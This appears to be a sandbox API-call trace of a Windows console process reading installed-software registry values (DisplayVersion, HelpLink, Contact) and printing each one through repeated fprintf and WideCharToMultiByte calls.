fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.570] lstrlenW (lpString="Contact") returned 7 [0148.570] __iob_func () returned 0x7fefd702a80 [0148.570] _fileno (_File=0x7fefd702ab0) returned 1 [0148.570] _errno () returned 0xc4bb0 [0148.570] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.570] _errno () returned 0xc4bb0 [0148.570] GetFileType (hFile=0x50) returned 0x1 [0148.570] lstrlenW (lpString="Contact") returned 7 [0148.570] GetConsoleOutputCP () returned 0x1b5 [0148.570] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0148.570] GetConsoleOutputCP () returned 0x1b5 [0148.571] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0148.571] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0148.571] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.571] __iob_func () returned 0x7fefd702a80 [0148.571] _fileno (_File=0x7fefd702ab0) returned 1 [0148.571] _errno () returned 0xc4bb0 [0148.571] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.571] _errno () returned 0xc4bb0 [0148.571] GetFileType (hFile=0x50) returned 0x1 [0148.571] lstrlenW (lpString=" ") returned 4 [0148.571] GetConsoleOutputCP () returned 0x1b5 [0148.571] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.571] GetConsoleOutputCP () returned 0x1b5 [0148.571] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.571] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.571] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.571] __iob_func () returned 0x7fefd702a80 [0148.571] _fileno (_File=0x7fefd702ab0) returned 1 [0148.571] _errno () returned 0xc4bb0 [0148.571] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.571] _errno () returned 0xc4bb0 [0148.571] GetFileType (hFile=0x50) returned 0x1 [0148.571] lstrlenW (lpString="REG_SZ") returned 6 [0148.571] GetConsoleOutputCP () returned 0x1b5 [0148.572] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.572] GetConsoleOutputCP () returned 0x1b5 [0148.572] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.572] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.572] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.572] __iob_func () returned 0x7fefd702a80 [0148.572] _fileno (_File=0x7fefd702ab0) returned 1 [0148.572] _errno () returned 0xc4bb0 [0148.572] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.572] _errno () returned 0xc4bb0 [0148.572] GetFileType (hFile=0x50) returned 0x1 [0148.572] lstrlenW (lpString=" ") returned 4 [0148.572] GetConsoleOutputCP () returned 0x1b5 [0148.572] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.572] GetConsoleOutputCP () returned 0x1b5 [0148.572] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.572] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.572] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.572] __iob_func () returned 0x7fefd702a80 [0148.572] _fileno (_File=0x7fefd702ab0) returned 1 [0148.573] _errno () returned 0xc4bb0 [0148.573] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.573] _errno () returned 0xc4bb0 [0148.573] GetFileType (hFile=0x50) returned 0x1 [0148.573] lstrlenW (lpString="") returned 0 [0148.573] __iob_func () returned 0x7fefd702a80 [0148.573] _fileno (_File=0x7fefd702ab0) returned 1 [0148.573] _errno () returned 0xc4bb0 [0148.573] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.573] _errno () returned 0xc4bb0 [0148.573] GetFileType (hFile=0x50) returned 0x1 [0148.573] lstrlenW (lpString="\n") returned 1 [0148.573] GetConsoleOutputCP () returned 0x1b5 [0148.573] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.573] GetConsoleOutputCP () returned 0x1b5 [0148.573] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.573] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.573] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.573] GetProcessHeap () returned 0x2e0000 [0148.573] GetProcessHeap () returned 0x2e0000 [0148.573] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.573] GetProcessHeap () returned 0x2e0000 [0148.573] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.573] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.573] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.573] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x1a) returned 0x0 [0148.573] GetProcessHeap () returned 0x2e0000 [0148.573] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x1c) returned 0x2f5bf0 [0148.574] GetProcessHeap () returned 0x2e0000 [0148.574] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0148.574] GetProcessHeap () returned 0x2e0000 [0148.574] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x1c [0148.574] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f5bf0, pcbData=0x23f670*=0x1a | out: pdwType=0x23f5f0*=0x1, pvData="14.10.25017", pcbData=0x23f670*=0x18) returned 0x0 [0148.574] __iob_func () returned 0x7fefd702a80 [0148.574] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.574] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.574] _fileno (_File=0x7fefd702ab0) returned 1 [0148.574] _errno () returned 0xc4bb0 [0148.574] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.574] _errno () returned 0xc4bb0 [0148.574] GetFileType (hFile=0x50) returned 0x1 [0148.574] lstrlenW (lpString=" ") returned 4 [0148.574] GetConsoleOutputCP () returned 0x1b5 [0148.574] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.574] GetConsoleOutputCP () returned 0x1b5 [0148.574] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.574] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.574] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.574] lstrlenW (lpString="DisplayVersion") returned 14 [0148.574] __iob_func () returned 0x7fefd702a80 [0148.574] _fileno (_File=0x7fefd702ab0) returned 1 [0148.574] _errno () returned 0xc4bb0 [0148.574] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.574] _errno () returned 0xc4bb0 [0148.574] GetFileType (hFile=0x50) returned 0x1 [0148.574] lstrlenW (lpString="DisplayVersion") returned 14 [0148.575] GetConsoleOutputCP () returned 0x1b5 [0148.575] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0148.575] GetConsoleOutputCP () returned 0x1b5 [0148.575] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0148.575] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0148.575] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.575] __iob_func () returned 0x7fefd702a80 [0148.575] _fileno (_File=0x7fefd702ab0) returned 1 [0148.575] _errno () returned 0xc4bb0 [0148.575] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.575] _errno () returned 0xc4bb0 [0148.575] GetFileType (hFile=0x50) returned 0x1 [0148.575] lstrlenW (lpString=" ") returned 4 [0148.575] GetConsoleOutputCP () returned 0x1b5 [0148.575] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.575] GetConsoleOutputCP () returned 0x1b5 [0148.575] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.575] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.575] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.575] __iob_func () returned 0x7fefd702a80 [0148.575] _fileno (_File=0x7fefd702ab0) returned 1 [0148.576] _errno () returned 0xc4bb0 [0148.576] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.576] _errno () returned 0xc4bb0 [0148.576] GetFileType (hFile=0x50) returned 0x1 [0148.576] lstrlenW (lpString="REG_SZ") returned 6 [0148.576] GetConsoleOutputCP () returned 0x1b5 [0148.576] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.576] GetConsoleOutputCP () returned 0x1b5 [0148.576] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.576] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.576] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.576] __iob_func () returned 0x7fefd702a80 [0148.576] _fileno (_File=0x7fefd702ab0) returned 1 [0148.576] _errno () returned 0xc4bb0 [0148.576] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.576] _errno () returned 0xc4bb0 [0148.576] GetFileType (hFile=0x50) returned 0x1 [0148.576] lstrlenW (lpString=" ") returned 4 [0148.576] GetConsoleOutputCP () returned 0x1b5 [0148.576] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.576] GetConsoleOutputCP () returned 0x1b5 [0148.576] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.577] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.577] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.577] __iob_func () returned 0x7fefd702a80 [0148.577] _fileno (_File=0x7fefd702ab0) returned 1 [0148.577] _errno () returned 0xc4bb0 [0148.577] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.577] _errno () returned 0xc4bb0 [0148.577] GetFileType (hFile=0x50) returned 0x1 [0148.577] lstrlenW (lpString="14.10.25017") returned 11 [0148.577] GetConsoleOutputCP () returned 0x1b5 [0148.577] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="14.10.25017", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0148.577] GetConsoleOutputCP () returned 0x1b5 [0148.577] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="14.10.25017", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="14.10.25017", lpUsedDefaultChar=0x0) returned 11 [0148.577] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0148.577] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.577] __iob_func () returned 0x7fefd702a80 [0148.577] _fileno (_File=0x7fefd702ab0) returned 1 [0148.577] _errno () returned 0xc4bb0 [0148.577] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.577] _errno () returned 0xc4bb0 [0148.577] GetFileType (hFile=0x50) returned 0x1 [0148.577] lstrlenW (lpString="\n") returned 1 [0148.577] GetConsoleOutputCP () returned 0x1b5 [0148.578] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.578] GetConsoleOutputCP () returned 0x1b5 [0148.578] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.578] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.578] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.578] GetProcessHeap () returned 0x2e0000 [0148.578] GetProcessHeap () returned 0x2e0000 [0148.578] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0148.578] GetProcessHeap () returned 0x2e0000 [0148.578] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x1c [0148.578] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0 | out: hHeap=0x2e0000) returned 1 [0148.578] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.578] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x5c) returned 0x0 [0148.578] GetProcessHeap () returned 0x2e0000 [0148.578] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x5e) returned 0x3019a0 [0148.578] GetProcessHeap () returned 0x2e0000 [0148.578] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.578] GetProcessHeap () returned 0x2e0000 [0148.578] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x5e [0148.578] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x3019a0, pcbData=0x23f670*=0x5c | out: pdwType=0x23f5f0*=0x2, pvData="http://go.microsoft.com/fwlink/?LinkId=133405", pcbData=0x23f670*=0x5c) returned 0x0 [0148.578] __iob_func () returned 0x7fefd702a80 [0148.578] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.578] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.578] _fileno (_File=0x7fefd702ab0) returned 1 [0148.578] _errno () returned 0xc4bb0 [0148.578] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.578] _errno () returned 0xc4bb0 [0148.578] GetFileType (hFile=0x50) returned 0x1 [0148.578] lstrlenW (lpString=" ") returned 4 [0148.579] GetConsoleOutputCP () returned 0x1b5 [0148.579] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.579] GetConsoleOutputCP () returned 0x1b5 [0148.579] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.579] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.579] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.579] lstrlenW (lpString="HelpLink") returned 8 [0148.579] __iob_func () returned 0x7fefd702a80 [0148.579] _fileno (_File=0x7fefd702ab0) returned 1 [0148.579] _errno () returned 0xc4bb0 [0148.579] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.579] _errno () returned 0xc4bb0 [0148.579] GetFileType (hFile=0x50) returned 0x1 [0148.579] lstrlenW (lpString="HelpLink") returned 8 [0148.579] GetConsoleOutputCP () returned 0x1b5 [0148.579] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.579] GetConsoleOutputCP () returned 0x1b5 [0148.579] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0148.579] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.579] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.580] __iob_func () returned 0x7fefd702a80 [0148.580] _fileno (_File=0x7fefd702ab0) returned 1 [0148.580] _errno () returned 0xc4bb0 [0148.580] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.580] _errno () returned 0xc4bb0 [0148.580] GetFileType (hFile=0x50) returned 0x1 [0148.580] lstrlenW (lpString=" ") returned 4 [0148.580] GetConsoleOutputCP () returned 0x1b5 [0148.580] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.580] GetConsoleOutputCP () returned 0x1b5 [0148.580] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.580] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.580] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.580] __iob_func () returned 0x7fefd702a80 [0148.580] _fileno (_File=0x7fefd702ab0) returned 1 [0148.580] _errno () returned 0xc4bb0 [0148.580] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.580] _errno () returned 0xc4bb0 [0148.580] GetFileType (hFile=0x50) returned 0x1 [0148.580] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0148.581] GetConsoleOutputCP () returned 0x1b5 [0148.581] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.581] GetConsoleOutputCP () returned 0x1b5 [0148.581] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0148.581] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.581] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.581] __iob_func () returned 0x7fefd702a80 [0148.581] _fileno (_File=0x7fefd702ab0) returned 1 [0148.581] _errno () returned 0xc4bb0 [0148.581] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.581] _errno () returned 0xc4bb0 [0148.581] GetFileType (hFile=0x50) returned 0x1 [0148.581] lstrlenW (lpString=" ") returned 4 [0148.581] GetConsoleOutputCP () returned 0x1b5 [0148.581] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.581] GetConsoleOutputCP () returned 0x1b5 [0148.581] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.581] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.581] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.582] __iob_func () returned 0x7fefd702a80 [0148.582] _fileno (_File=0x7fefd702ab0) returned 1 [0148.582] _errno () returned 0xc4bb0 [0148.582] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.582] _errno () returned 0xc4bb0 [0148.582] GetFileType (hFile=0x50) returned 0x1 [0148.582] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=133405") returned 45 [0148.582] GetConsoleOutputCP () returned 0x1b5 [0148.582] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0148.582] GetConsoleOutputCP () returned 0x1b5 [0148.582] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=133405", lpUsedDefaultChar=0x0) returned 45 [0148.582] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0148.582] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.582] __iob_func () returned 0x7fefd702a80 [0148.582] _fileno (_File=0x7fefd702ab0) returned 1 [0148.582] _errno () returned 0xc4bb0 [0148.582] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.582] _errno () returned 0xc4bb0 [0148.582] GetFileType (hFile=0x50) returned 0x1 [0148.582] lstrlenW (lpString="\n") returned 1 [0148.582] GetConsoleOutputCP () returned 0x1b5 [0148.583] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.583] GetConsoleOutputCP () returned 0x1b5 [0148.583] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.583] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.583] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 